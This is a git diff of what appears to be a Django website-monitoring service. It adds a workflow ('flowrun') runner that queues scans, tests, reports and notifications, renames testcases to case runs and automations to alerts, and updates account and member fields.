+        edges = self.flowrun.edges
+        logs = self.flowrun.logs
+
+        # update current node
+        nodes[step_data['index']]['data']['status'] = 'working' 
+        nodes[step_data['index']]['data']['time_started'] = self.build_timestamp()
+        nodes[step_data['index']]['data']['objects'] = objects
+
+        # update current edge if not first step
+        if step_data['index'] != 0:
+            edge_index = self.get_edge_by_target(target=node_data['id'])['index']
+            edges[edge_index]['animated'] = True
+            edges[edge_index]['style'] = {'stroke': "#60a5fa"}
+
+        # update current logs
+        logs.append({
+            'timestamp':self.build_timestamp(),
+            'message': message,
+            'step': node_data['id']
+        })
+
+        # sort logs
+        logs = sorted(logs, key=lambda l: int(l['step']),)
+        
+        # save updates
+        self.flowrun.nodes = nodes
+        self.flowrun.edges = edges
+        self.flowrun.logs = logs
+        self.flowrun.save()
+
+        # build common data
+        scope = 'account'
+        configs = node_data['configs']
+        flowrun_id = str(self.flowrun.id)
+        account_id = str(self.flowrun.account.id)
+        types = node_data.get('type')
+        resources = [{
+            'str': self.flowrun.site.site_url,
+            'id': str(self.flowrun.site.id),
+            'type': 'site'
+        },]
+    
+
+        # create new scan
+        if task_type == 'scan':
+            create_scan_bg.delay(
+                scope         = scope,
+                resources     = resources,
+                account_id    = account_id,
+                type          = types,
+                configs       = configs,
+                flowrun_id    = flowrun_id,
+                node_index    = node_index
+            )
+        
+        # create new test
+        if task_type == 'test': 
+            create_test_bg.delay(
+                scope         = scope,
+                resources     = resources,
+                account_id    = account_id,
+                type          = types,
+                configs       = configs,
+                threshold     = node_data['threshold'],
+                flowrun_id    = flowrun_id,
+                node_index    = node_index
+            )
+        
+        # create new caserun
+        if task_type == 'case':
+            create_caserun_bg.delay(
+                scope         = scope,
+                resources     = resources,
+                account_id    = account_id,
+                case_id       = node_data['case_id'],
+                updates       = node_data['updates'],
+                configs       = configs,
+                flowrun_id    = flowrun_id,
+                node_index    = node_index
+            )
+        
+        # create new report
+        if task_type == 'report':
+            create_report_bg.delay(
+                scope         = scope,
+                resources     = resources,
+                account_id    = account_id,
+                configs       = configs,
+                flowrun_id    = flowrun_id,
+                node_index    = node_index
+            )
+
+        # send phone notification
+        if task_type == 'phone':
+            send_phone_bg.delay(
+                account_id    = account_id,
+                objects       = objects,
+                phone_number  = node_data['phone_number'],
+                body          = node_data['message'],
+                flowrun_id    = flowrun_id,
+                node_index    = node_index
+            )
+        
+        # send slack notification
+        if task_type == 'slack':
+            send_slack_bg.delay(
+                account_id    = account_id,
+                objects       = objects,
+                body          = node_data['message'],
+                flowrun_id    = flowrun_id,
+                node_index    = node_index
+            )
+
+        # send email notification
+        if task_type == 'email':
+            send_email_bg.delay(
+                account_id    = account_id,
+                objects       = objects,
+                message_obj   = {
+                    'plain_text'  : True,
+                    'email'       : node_data['email'],
+                    'subject'     : node_data['subject'],
+                    'content'     : node_data['message']
+                },
+                flowrun_id    = flowrun_id,
+                node_index    = node_index
+            )
+
+        # send webhook notification
+        if task_type == 'webhook':
+            send_webhook_bg.delay(
+                account_id    = account_id,
+                objects       = objects,
+                request_type  = node_data['request_type'],
+                url           = node_data['uri'],
+                headers       = node_data['headers'],
+                payload       = node_data['payload'],
+                flowrun_id    = flowrun_id,
+                node_index    = node_index
+            )
+
+
+        # check all objs.time_complete for each "working" node.
+        # if node is `working` and all obj.time_complete 
+        # are not None: update node with status.'passed'
+        self.check_all_working_nodes(ignore_ids=[node_data['id']])
+
+
+        # returning 
+        return None
+
+
+
+
+
diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index c36f61d3..14f75936 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -10,11 +10,11 @@
 
 class Issuer():
     """ 
-    Generate new `Issue` for the passed 'test' or 'testcase'.
+    Generate new `Issue` for the passed 'test' or 'caserun'.
 
     Expects: {
-        'test'        : object,
-        'testcase'    : object,
+        'test'    : object,
+        'caserun' : object,
     }
 
     Use `Issuer.build_issue()` to generate new `Issue`
@@ -28,12 +28,12 @@ class Issuer():
     def __init__(
             self, 
             test: object=None,
-            testcase: object=None,
+            caserun: object=None,
         ):
          
         # main objects
         self.test = test
-        self.testcase = testcase
+        self.caserun = caserun
         
         # init GPT client
         self.gpt_client = OpenAI(
@@ -46,7 +46,7 @@ def __init__(
     def build_issue(self):
         """ 
         Creates a new `Issue` based on the info 
-        from the passed "self.test" or "self.testcase"
+        from the passed "self.test" or "self.caserun"
 
         Expects: None
 
@@ -57,15 +57,15 @@ def build_issue(self):
         title = None
         details = None
         labels = None
-        account = self.test.page.account if self.test else self.testcase.account
+        account = self.test.page.account if self.test else self.caserun.account
         trigger = {
-            'type': 'test' if self.test else 'testcase', 
-            'id': str(self.test.id) if self.test else str(self.testcase.id)
+            'type': 'test' if self.test else 'caserun', 
+            'id': str(self.test.id) if self.test else str(self.caserun.id)
         }
         affected = {
             'type': 'page' if self.test else 'site',
-            'id': str(self.test.page.id) if self.test else str(self.testcase.site.id),
-            'str': self.test.page.page_url if self.test else self.testcase.site.site_url
+            'id': str(self.test.page.id) if self.test else str(self.caserun.site.id),
+            'str': self.test.page.page_url if self.test else self.caserun.site.site_url
         }
 
         # defining detail components 
@@ -74,14 +74,14 @@ def build_issue(self):
         recommendation = ''
 
         # building details, title, & labels 
-        # for testcase failure
-        if self.testcase:
+        # for caserun failure
+        if self.caserun:
 
-            # get first step that failed in testcase
+            # get first step that failed in caserun
             failed_step = None
             step_index = 0
             step_type = 'action'
-            for step in self.testcase.steps:
+            for step in self.caserun.steps:
                 step_index += 1
                 if step['action']['status'] == 'failed':
                     failed_step = step
@@ -93,11 +93,11 @@ def build_issue(self):
                     break
 
             # build title
-            title = f'Testcase "{self.testcase.case_name}" Failed'
+            title = f'Case Run "{self.caserun.title}" Failed'
 
             # build intro
             intro = str(
-                f'### Testcase [{self.testcase.case_name}]({settings.CLIENT_URL_ROOT}/{trigger["type"]}/{trigger["id"]})' + 
+                f'### Case Run [{self.caserun.title}]({settings.CLIENT_URL_ROOT}/{trigger["type"]}/{trigger["id"]})' + 
                 f' failed on **Step {step_index}**, `{failed_step[step_type]["type"]}`.\n\n\n' +
                 f' > Affected Site: [{affected["str"]}]({settings.CLIENT_URL_ROOT}/{affected["type"]}/{affected["id"]})\n\n\n'
             )
@@ -223,8 +223,8 @@ def build_recommendation(
                         "content": f"Create a recommendation for developers \
                             baseded on this generated issue: '\n\n{details}\n\n'. \
                             The components are portions of a regression test of a website. \
-                            Format with markdown. \
-                            Format each recommendation as a markdown task. \
+                            Format each recommendation with markdown. \
+                            Begin each recommendation with '- [ ]' to format as a task. \
                             Omit the title or header in your response. \
                             Remove any disclaimer or note section. \
                             Remove any reference to 'Test Cases'. \
@@ -236,8 +236,8 @@ def build_recommendation(
             ).choices[0].message.content
         
         # building recommendation
-        # for self.testcase
-        if self.testcase:
+        # for self.caserun
+        if self.caserun:
 
             # send the initial request
             recommendation = self.gpt_client.chat.completions.create(
@@ -247,8 +247,8 @@ def build_recommendation(
                         "role": "user", 
                         "content": f"Create a recommendation for developers \
                             baseded on this generated issue: '\n\n{details}\n\n'. \
-                            Format with markdown. \
-                            Format each recommendation as a markdown task. \
+                            Format each recommendation with markdown. \
+                            Begin each recommendation with '- [ ]' to format as a task. \
                             Omit the title or header in your response. \
                             Omit any links in your response. \
                             Remove any disclaimer or notes section. \
diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index ae0dfe41..8e06ae43 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -16,14 +16,14 @@ class Reporter():
     Used for generating web vitals reports for 
     the associated `Page` & `Scan`
 
-    Expects -> {
+    Expects: {
         'report': <report:obj>,
         'scan'  : <scan:obj>,
     }
 
     Use self.generate_report() to create a new report
 
-    Returns -> data: {
+    Returns: {
         'report' : object,
         'success': bool,
         'message': str
@@ -43,17 +43,21 @@ def __init__(self, report: object, scan: object=None):
         # retrieveing latest scan if none
         if scan is None:
             try:
-                self.scan = Scan.objects.get(id=self.page.info['latest_scan']['id'])
-            except:
+                self.scan = Scan.objects.filter(
+                    page=self.page
+                ).exclude(
+                    time_completed=None
+                ).order_by('-time_created')[0]
+            except Exception as e:
+                print(e)
                 self.scan = None
 
-        
         # building paths & canvas template
-        if os.path.exists(os.path.join(settings.BASE_DIR,  f'temp/')):
-            self.local_path = os.path.join(settings.BASE_DIR,  f'temp/{self.report.id}.pdf')
+        if os.path.exists(os.path.join(settings.BASE_DIR, f'reports/')):
+            self.local_path = os.path.join(settings.BASE_DIR, f'reports/{self.report.id}.pdf')
         else:
-            os.makedirs(f'{settings.BASE_DIR}/temp')
-            self.local_path = os.path.join(settings.BASE_DIR,  f'temp/{self.report.id}.pdf')
+            os.makedirs(f'{settings.BASE_DIR}/reports')
+            self.local_path = os.path.join(settings.BASE_DIR, f'reports/{self.report.id}.pdf')
     
         # setting default colors 
         self.page_index = 0
@@ -197,19 +201,6 @@ def cover_page(self) -> None:
         font_size = max((30 * (26/len(self.page.page_url))), 16)
         self.c.setFont('Helvetica-Bold', font_size)
         self.draw_wrapped_line(text=self.page.page_url, length=65, x_pos=.5, y_pos=9, y_offset=.5)
-
-        # if len(self.page.page_url) <= 12:
-        #     self.c.setFont('Helvetica-Bold', 30)
-        #     self.c.drawString(.5*inch, 9*inch, self.page.page_url)
-        
-        # elif 12 < len(self.page.page_url):
-        #     extra_chars = len(self.page.page_url) - 12
-        #     m = (2/5)
-        #     y_offset = .5
-        #     length = int(20 + (extra_chars * m))
-        #     self.c.setFont('Helvetica-Bold', int(45 - (extra_chars * m)))
-        #     self.c.setFillColor(HexColor(self.text_color))
-        #     self.draw_wrapped_line(text=self.page.page_url, length=length, x_pos=.5, y_pos=9, y_offset=y_offset)
         
         # cover img
         cover_img = os.path.join(settings.BASE_DIR, "api/utils/report_assets/cover_img.png")
@@ -330,14 +321,17 @@ def get_cat_string(self, cat: str) -> str:
     
     
 
-    def get_audits(self, uri: str) -> dict:
+    def get_audits(self, uri: str=None) -> dict:
         """
         Downloads the JSON file from the passed uri
         and return the data as a python dict
         """
-        res = requests.get(uri)
-        audits = res.json()
-        return audits
+        if uri:
+            res = requests.get(uri)
+            audits = res.json()
+            return audits
+        else:
+            return []
 
 
 
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 2a3ae691..2e66e0ca 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -3,14 +3,15 @@
     driver_wait , get_data
 )
 from ..models import *
-from .automater import Automater
+from .alerter import Alerter
 from .tester import Tester
 from .lighthouse import Lighthouse
 from .yellowlab import Yellowlab
 from .imager import Imager
+from .updater import update_flowrun
 from datetime import datetime
 from cursion import settings
-import os, asyncio, uuid, boto3
+import os, asyncio, uuid, boto3, random, time
 
 
 
@@ -283,7 +284,13 @@ def save_html(html: str, scan: object) -> object:
 
 
 
-def check_scan_completion(scan: object, test_id: str=None, automation_id: str=None) -> object:
+def check_scan_completion(
+        scan: object, 
+        test_id: str=None, 
+        alert_id: str=None,
+        flowrun_id: str=None, 
+        node_index: str=None
+    ) -> object:
     """
     Method that checks if the scan has finished all 
     components. If so, method also updates Scan, Site, 
@@ -292,12 +299,15 @@ def check_scan_completion(scan: object, test_id: str=None, automation_id: str=No
     Expects: {
         scan: object, 
         test_id: str,
-        automation_id: str
+        alert_id: str
     }
 
     Returns -> `Scan` <obj>
     """
 
+    # sleeping random for DB update
+    time.sleep(random.uniform(0.1, 2))
+
     # setting defaults
     finished = True
 
@@ -327,18 +337,63 @@ def check_scan_completion(scan: object, test_id: str=None, automation_id: str=No
         time_completed = datetime.now()
         scan.time_completed = time_completed
         scan.save()
+
+        # update assoc site, page, & scan score
         update_scan_score(scan)
         update_page_info(scan)
         update_site_info(scan)
 
+        # add scan to objects
+        objects = [{
+            'parent': str(scan.page.id),
+            'id': str(test_id) if test_id else str(scan.id),
+            'status': 'working' if test_id else 'passed' 
+        }]
+
+        # update flowrun
+        if flowrun_id and flowrun_id != 'None':
+            time.sleep(random.uniform(0.1, 5))
+            update_flowrun(**{
+                'flowrun_id': str(flowrun_id),
+                'node_index': node_index,
+                'message': f'finished running all scan components for {scan.page.page_url} | scan_id: {str(scan.id)}',
+                'objects': objects
+            })
+
         # start Test if test_id present
         if test_id is not None:
+
+            # update flowrun
+            if flowrun_id and flowrun_id != 'None':
+                time.sleep(random.uniform(0.1, 5))
+                update_flowrun(**{
+                    'flowrun_id': str(flowrun_id),
+                    'node_index': node_index,
+                    'message': f'starting test comparison algorithm for {scan.page.page_url} | test_id: {str(test_id)}',
+                    'objects': objects
+                })
+            
             print('\n---------------\nScan Complete\nStarting Test...\n---------------\n')
             test = Test.objects.get(id=test_id)
-            Tester(test=test).run_test()
-            if automation_id is not None and automation_id != 'None':
-                print('running automation from `cursion.check_scan_completion`')
-                Automater(automation_id, test.id).run_automation()
+            updated_test = Tester(test=test).run_test()
+
+            # update flowrun
+            if flowrun_id and flowrun_id != 'None':
+                objects[-1]['status'] = updated_test.status
+                update_flowrun(**{
+                    'flowrun_id': str(flowrun_id),
+                    'node_index': node_index,
+                    'message': (
+                        f'test for {scan.page.page_url} completed with status: '+
+                        f'{"❌ FAILED" if updated_test.status == 'failed' else "✅ PASSED"} | test_id: {str(test_id)}'
+                    ),
+                    'objects': objects
+                })
+            
+        if alert_id is not None and alert_id != 'None':
+            print('running alert from `cursion.check_scan_completion`')
+            obj_id = test_id if test_id else str(scan.id)
+            Alerter(alert_id=alert_id, object_id=obj_id).run_alert()
 
     # returning scan
     return scan
@@ -346,23 +401,42 @@ def check_scan_completion(scan: object, test_id: str=None, automation_id: str=No
 
 
 
-def _html_and_logs(scan_id: str=None, test_id: str=None, automation_id: str=None) -> object:
+def _html_and_logs(
+        scan_id: str=None, 
+        test_id: str=None, 
+        alert_id: str=None,
+        flowrun_id: str=None, 
+        node_index: str=None
+    ) -> object:
     """
     Method to run the 'html' and 'logs' component of the scan 
     allowing for multi-threading.
 
     Expects: {
-        scan_id: str, 
-        test_id: str, 
-        automation_id: str,
+        scan_id     : str, 
+        test_id     : str, 
+        alert_id    : str,
+        flowrun_id  : str, 
+        node_index  : str
     }
 
     Returns -> `Scan` <obj>
     """
-    
+
     # retrieve scan
     scan = Scan.objects.get(id=scan_id)
 
+    # setting defaults
+    message = None
+
+    # update flowrun
+    if flowrun_id and flowrun_id != 'None':
+        update_flowrun(**{
+            'flowrun_id': flowrun_id,
+            'node_index': node_index,
+            'message': f'starting html and logs component for {scan.page.page_url} | scan_id: {scan_id}',
+        })
+
     try:
         # get html and logs using selenium
         # init driver & get data
@@ -389,17 +463,32 @@ def _html_and_logs(scan_id: str=None, test_id: str=None, automation_id: str=None
             scan.logs = logs
             scan.save()
         quit_driver(driver)
+        
+        # setting flowrun log
+        message = f'completed html and logs component for {scan.page.page_url} | scan_id: {scan_id}'
 
     except Exception as e:
         print(e)
+        
+        # setting flowrun log
+        message = f'html and logs component failed for {scan.page.page_url} | scan_id: {scan_id}'
+
         # try to quit selenium session
         try:
             quit_driver(driver)
         except:
             pass
 
+    # update flowrun
+    if flowrun_id and flowrun_id != 'None':
+        update_flowrun(**{
+            'flowrun_id': flowrun_id,
+            'node_index': node_index,
+            'message': message,
+        })
+
     # checking if scan is done
-    scan = check_scan_completion(scan, test_id, automation_id)
+    scan = check_scan_completion(scan, test_id, alert_id, flowrun_id, node_index)
 
     # return udpated scan
     return scan
@@ -407,15 +496,23 @@ def _html_and_logs(scan_id: str=None, test_id: str=None, automation_id: str=None
 
 
 
-def _vrt(scan_id: str=None, test_id: str=None, automation_id: str=None) -> object:
+def _vrt(
+        scan_id: str=None, 
+        test_id: str=None, 
+        alert_id: str=None,
+        flowrun_id: str=None, 
+        node_index: str=None
+    ) -> object:
     """
     Method to run the visual regression (vrt) component of the scan 
     allowing for multi-threading.
 
     Expects: {
-        scan_id: str, 
-        test_id: str, 
-        automation_id: str
+        scan_id     : str, 
+        test_id     : str, 
+        alert_id    : str,
+        flowrun_id  : str, 
+        node_index  : str
     }
 
     Returns -> `Scan` <obj>
@@ -423,6 +520,17 @@ def _vrt(scan_id: str=None, test_id: str=None, automation_id: str=None) -> objec
 
     # retrieve scan
     scan = Scan.objects.get(id=scan_id)
+
+    # setting defaults
+    message = None
+
+    # update flowrun
+    if flowrun_id and flowrun_id != 'None':
+        update_flowrun(**{
+            'flowrun_id': flowrun_id,
+            'node_index': node_index,
+            'message': f'starting images (vrt) component for {scan.page.page_url} | scan_id: {scan_id}',
+        })
     
     try:
         # run Imager using selenium
@@ -438,11 +546,26 @@ def _vrt(scan_id: str=None, test_id: str=None, automation_id: str=None) -> objec
         scan = Scan.objects.get(id=scan_id)
         scan.images = images
         scan.save()
+
+        # setting flowrun log
+        message = f'completed images (vrt) component for {scan.page.page_url} | scan_id: {scan_id}'
+
     except Exception as e:
         print(e)
 
+        # setting flowrun log
+        message = f'html and logs component failed for {scan.page.page_url} | scan_id: {scan_id}'
+    
+    # update flowrun
+    if flowrun_id and flowrun_id != 'None':
+        update_flowrun(**{
+            'flowrun_id': flowrun_id,
+            'node_index': node_index,
+            'message': message
+        })
+
     # checking if scan is done
-    scan = check_scan_completion(scan, test_id, automation_id)
+    scan = check_scan_completion(scan, test_id, alert_id, flowrun_id, node_index)
 
     # returning updated scan
     return scan
@@ -450,15 +573,23 @@ def _vrt(scan_id: str=None, test_id: str=None, automation_id: str=None) -> objec
 
 
 
-def _lighthouse(scan_id: str=None, test_id: str=None, automation_id: str=None) -> object:
+def _lighthouse(
+        scan_id: str=None, 
+        test_id: str=None, 
+        alert_id: str=None,
+        flowrun_id: str=None, 
+        node_index: str=None
+    ) -> object:
     """
     Method to run the lighthouse component of the scan 
     allowing for multi-threading.
 
     Expects: {
-        scan_id: str, 
-        test_id: str, 
-        automation_id: str
+        scan_id     : str, 
+        test_id     : str, 
+        alert_id    : str,
+        flowrun_id  : str, 
+        node_index  : str
     }
 
     Returns -> `Scan` <obj>
@@ -467,6 +598,17 @@ def _lighthouse(scan_id: str=None, test_id: str=None, automation_id: str=None) -
     # retrieve scan
     scan = Scan.objects.get(id=scan_id)
 
+    # setting defaults
+    message = None
+
+    # update flowrun
+    if flowrun_id and flowrun_id != 'None':
+        update_flowrun(**{
+            'flowrun_id': flowrun_id,
+            'node_index': node_index,
+            'message': f'starting lighthouse component for {scan.page.page_url} | scan_id: {scan_id}',
+        })
+
     try:
         # running lighthouse
         lh_data = Lighthouse(scan=scan).get_data() 
@@ -476,13 +618,28 @@ def _lighthouse(scan_id: str=None, test_id: str=None, automation_id: str=None) -
         scan = Scan.objects.get(id=scan_id)
         scan.lighthouse = lh_data
         scan.save()
+
+        # setting flowrun log
+        message = f'completed lighthouse component for {scan.page.page_url} | scan_id: {scan_id}'
+        
     except Exception as e:
-        scan.yellowlab['failed'] = True
+        scan.lighthouse['failed'] = True
         scan.save()
         print(e)
 
+        # setting flowrun log
+        message = f'lighthouse component failed for {scan.page.page_url} | scan_id: {scan_id}'
+
+    # update flowrun
+    if flowrun_id and flowrun_id != 'None':
+        update_flowrun(**{
+            'flowrun_id': flowrun_id,
+            'node_index': node_index,
+            'message': message
+        })
+
     # checking if scan is done
-    scan = check_scan_completion(scan, test_id, automation_id)
+    scan = check_scan_completion(scan, test_id, alert_id, flowrun_id, node_index)
 
     # returning updated scan
     return scan
@@ -490,15 +647,23 @@ def _lighthouse(scan_id: str=None, test_id: str=None, automation_id: str=None) -
 
 
 
-def _yellowlab(scan_id: str=None, test_id: str=None, automation_id: str=None) -> object:
+def _yellowlab(
+        scan_id: str=None, 
+        test_id: str=None, 
+        alert_id: str=None,
+        flowrun_id: str=None, 
+        node_index: str=None
+    ) -> object:
     """
     Method to run the yellowlab component of the scan 
     allowing for multi-threading.
 
     Expects: {
-        scan_id: str, 
-        test_id: str, 
-        automation_id: str
+        scan_id     : str, 
+        test_id     : str, 
+        alert_id    : str,
+        flowrun_id  : str, 
+        node_index  : str
     }
 
     Returns -> `Scan` <obj>
@@ -506,6 +671,17 @@ def _yellowlab(scan_id: str=None, test_id: str=None, automation_id: str=None) ->
 
     # retrieve scan
     scan = Scan.objects.get(id=scan_id)
+
+    # setting defaults
+    message = None
+
+    # update flowrun
+    if flowrun_id and flowrun_id != 'None':
+        update_flowrun(**{
+            'flowrun_id': flowrun_id,
+            'node_index': node_index,
+            'message': f'starting yellowlab component for {scan.page.page_url} | scan_id: {scan_id}',
+        })
     
     try:
         # running yellowlab
@@ -516,13 +692,28 @@ def _yellowlab(scan_id: str=None, test_id: str=None, automation_id: str=None) ->
         scan = Scan.objects.get(id=scan_id)
         scan.yellowlab = yl_data
         scan.save()
+
+        # setting flowrun log
+        message = f'completed yellowlab component for {scan.page.page_url} | scan_id: {scan_id}'
+
     except Exception as e:
         scan.yellowlab['failed'] = True
         scan.save()
         print(e)
 
+        # setting flowrun log
+        message = f'yellowlab component failed for {scan.page.page_url} | scan_id: {scan_id}'
+
+    # update flowrun
+    if flowrun_id and flowrun_id != 'None':
+        update_flowrun(**{
+            'flowrun_id': flowrun_id,
+            'node_index': node_index,
+            'message': message
+        })
+
     # checking if scan is done
-    scan = check_scan_completion(scan, test_id, automation_id)
+    scan = check_scan_completion(scan, test_id, alert_id, flowrun_id, node_index)
 
     # returning updated scan
     return scan
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index ecd26399..e587e8ed 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -824,7 +824,7 @@ def run_test(self, index: int=None) -> object:
         # testing LH
         if 'lighthouse' in self.test.type or 'full' in self.test.type:
             try:
-            # scores & data
+                # scores & data
                 lighthouse_data = self.delta_lighthouse()
                 lh_audits_uri = self.get_lh_audits_deltas(scores=lighthouse_data['scores'])
                 lighthouse_data['audits'] = lh_audits_uri
diff --git a/app/api/utils/updater.py b/app/api/utils/updater.py
new file mode 100644
index 00000000..ff954a94
--- /dev/null
+++ b/app/api/utils/updater.py
@@ -0,0 +1,168 @@
+from ..models import *
+from datetime import datetime, timezone
+
+
+
+
+
+
+def update_flowrun(*args, **kwargs) -> object:
+    """ 
+    Updates the `FlowRun`, matching the 'flowrun_id',
+    with the **kwargs data
+
+    Expects: {
+        'kwargs' : {
+            'flowrun_id'   : str
+            'node_index'   : int or str,
+            'messsage'     : str,
+            'node_status'  : str,
+            'objects'      : list of dicts
+        }
+    }
+    
+    Returns: `FlowRun` obj
+    """
+    
+    # get passed kwargs
+    flowrun_id = kwargs.get('flowrun_id')
+    node_index = kwargs.get('node_index')
+    node_status = kwargs.get('node_status')
+    message = kwargs.get('message')
+    objects = kwargs.get('objects')
+
+    # get flowrun
+    flowrun = FlowRun.objects.get(id=flowrun_id)
+
+    # set timestamp
+    timestamp = datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M:%S.%f')
+
+
+    # find flowrun.edge by target
+    def get_edge_by_target(target: str=None) -> dict:
+        # defaults
+        edge = None
+        index = 0
+        # find target
+        for e in flowrun.edges:
+            if e['target'] == target:
+                edge = e
+                break
+            index+=1
+        # return data
+        return {
+            'index': index,
+            'edge': edge
+        }
+
+
+    # update object_list
+    def add_or_update_objects(object_list, objects):
+        i = 0
+        # find obj
+        for obj in objects:
+            exists = False
+            j = 0
+            for o in object_list:
+                if obj['parent'] == o['parent']:
+                    exists = True
+                    # update
+                    object_list[j] = obj
+                    break
+                j+=1
+            # add
+            if not exists:
+                object_list.append(obj) 
+            i+=1
+        return object_list
+
+
+    # check if all objects are complete
+    def objects_are_complete(object_list):
+        if len(object_list) == 0:
+            return True
+        for obj in object_list:
+            if obj['status'] == 'working':
+                return False
+        return True
+
+
+    # get collective status of  
+    def get_step_status(object_list):
+        statuses = [obj['status'] for obj in object_list]
+        if len(object_list) == 0:
+            return 'passed'
+        if 'working' in statuses:
+            return 'working'
+        if 'failed' in statuses and 'working' not in statuses:
+            return 'failed'
+        return 'passed'
+
+
+    # get datetime from str
+    def get_timestamp(timestamp):
+        # format for timestamp
+        f = '%Y-%m-%d %H:%M:%S.%f'
+        # clean timestamp str
+        clean_str = timestamp.replace('T', ' ').replace('Z', '')
+        # format date str as datetime obj
+        return datetime.strptime(clean_str, f)
+
+
+    # update flowrun logs, nodes, & edges
+    nodes = flowrun.nodes
+    edges = flowrun.edges
+    logs = flowrun.logs
+
+
+    if node_index is not None:
+        # get node object_list
+        object_list = nodes[int(node_index)]['data'].get('objects', [])
+
+        # update object_list if objects
+        if objects:
+            object_list = add_or_update_objects(object_list, objects)
+            nodes[int(node_index)]['data']['objects'] = object_list
+
+        # if node_status is provided
+        if node_status:
+            nodes[int(node_index)]['data']['status'] = node_status
+            if node_status != 'working':
+                nodes[int(node_index)]['data']['time_completed'] = timestamp
+
+        # decide on node status if 'node_status' not provided
+        if not node_status:
+            complete = objects_are_complete(object_list)
+            nodes[int(node_index)]['data']['status'] = get_step_status(object_list) if complete else 'working'
+            nodes[int(node_index)]['data']['time_completed'] = timestamp if complete else None
+            
+        # update current edge if not at flowrun start
+        if int(node_index) != 0:
+            edge_index = get_edge_by_target(target=nodes[int(node_index)]['id'])['index']
+            edges[edge_index]['animated'] = True if nodes[int(node_index)]['data']['status'] == 'working' else False
+            edges[edge_index]['style'] = {'stroke': "#60a5fa"} if nodes[int(node_index)]['data']['status'] == 'working' else None
+
+
+    if message:
+        # update current logs
+        logs.append({
+            'timestamp': timestamp,
+            'message': message,
+            'step': nodes[int(node_index)]['id'] if node_index else logs[-1]['step']
+        })
+
+        # sort new logs
+        logs = sorted(logs, key=lambda l: (int(l['step'])))
+
+
+    # save updates
+    flowrun.nodes = nodes
+    flowrun.edges = edges
+    flowrun.logs = logs
+    flowrun.save()
+
+    # signals.py should pickup this `update()` event and 
+    # execute the run_next() instance of flowr.py
+
+    # return updated flowrun
+    return flowrun
\ No newline at end of file
diff --git a/app/api/utils/verify.py b/app/api/utils/verify.py
index 0a5bc0c3..00a4eddf 100644
--- a/app/api/utils/verify.py
+++ b/app/api/utils/verify.py
@@ -16,6 +16,7 @@ def verify():
         "Content-Type": "application/json",
         "Authorization" : cred
     }
+    
     data = {
         "username": username,
         "email": email,
diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py
index 8ffc54e3..ecca253b 100644
--- a/app/api/v1/auth/serializers.py
+++ b/app/api/v1/auth/serializers.py
@@ -79,11 +79,10 @@ class AccountSerializer(serializers.HyperlinkedModelSerializer):
 
     class Meta:
         model = Account
-        fields = ['id', 'active', 'time_created', 'type', 'phone', 
+        fields = ['id', 'active', 'time_created', 'type', 
         'cust_id', 'sub_id', 'product_id', 'price_id', 'slack',
-        'user', 'code', 'name', 'price_amount', 'max_sites', 
-        'max_pages', 'max_schedules', 'retention_days',
-        'configs', 'meta', 'usage',
+        'user', 'code', 'name', 'price_amount',
+        'configs', 'meta', 'usage', 'info',
         ]
 
 
@@ -96,8 +95,8 @@ class MemberSerializer(serializers.HyperlinkedModelSerializer):
 
     class Meta:
         model = Member
-        fields = ['id', 'status', 'time_created', 'type',
-        'email', 'type', 'user', 'account',
+        fields = ['id', 'status', 'time_created', 'type', 'phone',
+        'email', 'type', 'user', 'account', 'permissions',
         ]
 
 
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index a01d2be2..52b47a78 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -15,7 +15,7 @@
 from slack_sdk.oauth.installation_store import FileInstallationStore, Installation
 from slack_sdk.oauth.state_store import FileOAuthStateStore
 from slack_sdk.web import WebClient
-from ...models import Account, Card, Member, Site
+from ...models import Account, Card, Member, Site, get_permissions_default
 from ..ops.services import record_api_call
 from .serializers import *
 from ...utils.alerts import send_reset_link
@@ -192,6 +192,7 @@ def update_user(request: object) -> object:
     # get request data
     email = request.data.get('email')
     user = request.user
+    member = Member.objects.get(user=user)
 
     # check if an email is already associated with a user
     if User.objects.filter(email=email).exists() and user.email != email:
@@ -202,6 +203,10 @@ def update_user(request: object) -> object:
     user.email = email
     user.save()
 
+    # update member email
+    member.email = email
+    member.save()
+
     # serialize and return
     data = UserSerializer(user).data
     return Response(data, status=status.HTTP_200_OK)
@@ -614,58 +619,70 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
     if request is not None:
         _id = request.data.get('id')
         name = request.data.get('name')
-        phone = request.data.get('phone')
         active = request.data.get('active')
         type = request.data.get('type')
         code = request.data.get('code')
-        max_sites = request.data.get('max_sites')
-        max_pages = request.data.get('max_pages')
-        max_schedules = request.data.get('max_schedules')
-        retention_days = request.data.get('retention_days')
         cust_id = request.data.get('cust_id')
         sub_id = request.data.get('sub_id')
         product_id = request.data.get('product_id')
         price_id = request.data.get('price_id')
         price_amount = request.data.get('price_amount')
         interval = request.data.get('interval')
+        sites_allowed = request.data.get('sites_allowed')
+        pages_allowed = request.data.get('pages_allowed')
+        schedules_allowed = request.data.get('schedules_allowed')
+        retention_days = request.data.get('retention_days')
         scans_allowed = request.data.get('scans_allowed')
         tests_allowed = request.data.get('tests_allowed')
-        testcases_allowed = request.data.get('testcases_allowed')
+        caseruns_allowed = request.data.get('caseruns_allowed')
+        flowruns_allowed = request.data.get('flowruns_allowed')
+        nodes_allowed = request.data.get('nodes_allowed')
+        conditions_allowed = request.data.get('conditions_allowed')
+        sites = request.data.get('sites')
+        schedules = request.data.get('schedules')
         scans = request.data.get('scans')
         tests = request.data.get('tests')
-        testcases = request.data.get('testcases')
+        caseruns = request.data.get('caseruns')
+        flowruns = request.data.get('flowruns')
         slack = request.data.get('slack')
         configs = request.data.get('configs')
         meta = request.data.get('meta')
+        info = request.data.get('info')
         user = request.user
 
     # get kwargs data
     if request is None:
         _id = kwargs.get('id')
         name = kwargs.get('name')
-        phone = kwargs.get('phone')
         active = kwargs.get('active')
